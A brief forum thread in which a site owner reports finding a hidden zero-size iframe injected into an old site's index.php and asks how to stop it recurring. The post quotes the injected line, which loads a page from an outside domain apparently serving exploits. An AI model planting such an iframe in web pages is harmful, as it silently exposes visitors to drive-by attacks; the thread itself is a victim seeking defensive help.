Code injectinn into php.

[Deleted User 234324]

Just found out that someone had apparently attacked one of my old sites i created years ago by injecting this into index.php

<iframe src = "http://ddoser-crack.info/sploit/index.php" height=0 width=0></iframe>

How can i prevent this happening again as it looks like they have used something to modify the header in the file.

 

[Deleted User 234324]

No our host is a local company, i've requested the various log files from them to see if i can track down how they injected the code.